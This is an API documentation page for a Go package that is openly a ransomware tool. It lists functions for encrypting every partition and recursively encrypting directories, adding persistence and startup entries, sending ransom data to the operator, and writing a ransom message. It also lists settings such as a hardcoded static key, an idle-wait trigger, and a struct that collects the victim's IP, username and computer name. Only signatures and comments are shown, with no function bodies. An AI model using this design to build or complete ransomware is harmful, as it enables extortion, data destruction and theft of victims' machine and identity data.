Documentation ¶
Index ¶
- Variables
- func AddPersistence()
- func AddToStartup()
- func ChangePerms(file string) error
- func CreateMessage()
- func Decrypt(key, data []byte) []byte
- func DecryptEveryPartition(key []byte)
- func DecryptFile(path string, key []byte) error
- func Encrypt(key, data []byte) []byte
- func EncryptEveryPartition(key []byte)
- func EncryptFile(path string, key []byte) error
- func EncryptFileWoExtChecking(path string, key []byte) error
- func EncryptPathsConcurrently(paths []string, key []byte)
- func GenerateKey() string
- func GetFileExtension(path string) string
- func GetFileExtensionFast(path string) string
- func GetFileExtensionFastest(path string) string
- func RecursivelyDecryptDirectory(startingPath string, key []byte) error
- func RecursivelyEncryptDirectory(startingPath string, key []byte) error
- func RemovePersistence()
- func SendRansomData()
- func Start()
- type RansomData
Constants ¶
This section is empty.
Variables ¶
var Debug = true
Debug bool DebugMode
var Key = GenerateKey()
/TODO: make this work somehow Key text any If you want to use a satic key, put it here
var MaxFileSize = 1024 * 1024 * 1024 * 1024
/TODO: use this MaxFileSize uint If the file size is bigger than this, don't encrypt the file
var Message = "Your unique id is " + UUID + " other text you might want here"
/Text as the data type means the user types exactly what the variable will have (in this case /the input from the frontend will have exactly this -> "Your unique id is " + UUID + " other text you might want here" Message text Change this message based on what you want the user to see
var SendKeyAtStart = true
SendKeyAtStart bool Sends the key at the start of the encryption
var StaticKey = "12345678901234567890123456789012" ///insecure af
StaticKey string the static key which will be used to encrypt the files if there is no internet and the apropriate setting is enabled
var UUID = ""
/ TODO: code a custom uuid thingy or use a package
var UseDict = true
UseDict bool The dict is faster if you have ~70 or more extensions, if this is set to true a dictionary will be used instead of a list
var WaitAfk = 1000000000 ///for debugging purposes
WaitAfk uint Time to wait until the user is considered afk and the ransomware is ran, in nanoseconds (divide by 1000000000)
var WaitForInternet = true
WaitForInternet bool if this is false it will use the static key and won't wait for the user to be online
var WallpaperUrl = ""
WallpaperUrl string Sets the wallpaper, leave empty to disable
Functions ¶
func ChangePerms ¶
func CreateMessage ¶
func CreateMessage()
CreateMessage You can modify the path you want the message to be written here
func DecryptEveryPartition ¶
func DecryptEveryPartition(key []byte)
func DecryptFile ¶
func EncryptEveryPartition ¶
func EncryptEveryPartition(key []byte)
EncryptEveryPartition for each partition, launch a new routine and wait for all to complete because the ransomware will recursively run on /, it will on any partition anyway but not concurrently, think of a way to skip checking already encrypted paths that doesn't affect performance
func EncryptFile ¶
func EncryptFileWoExtChecking ¶
Encrypts the file without checking first if the extension isn't "extension" or in the ext list/dict
func GenerateKey ¶
func GenerateKey() string
func GetFileExtension ¶
func GetFileExtensionFast ¶
func GetFileExtensionFastest ¶
we don't need the useless reverse
func RemovePersistence ¶
func RemovePersistence()
func SendRansomData ¶
func SendRansomData()
Types ¶
type RansomData ¶
type RansomData struct { IPData go_grab_ip.IPData Key string Username string ComputerName string UUID string }
var CurrentRansomData RansomData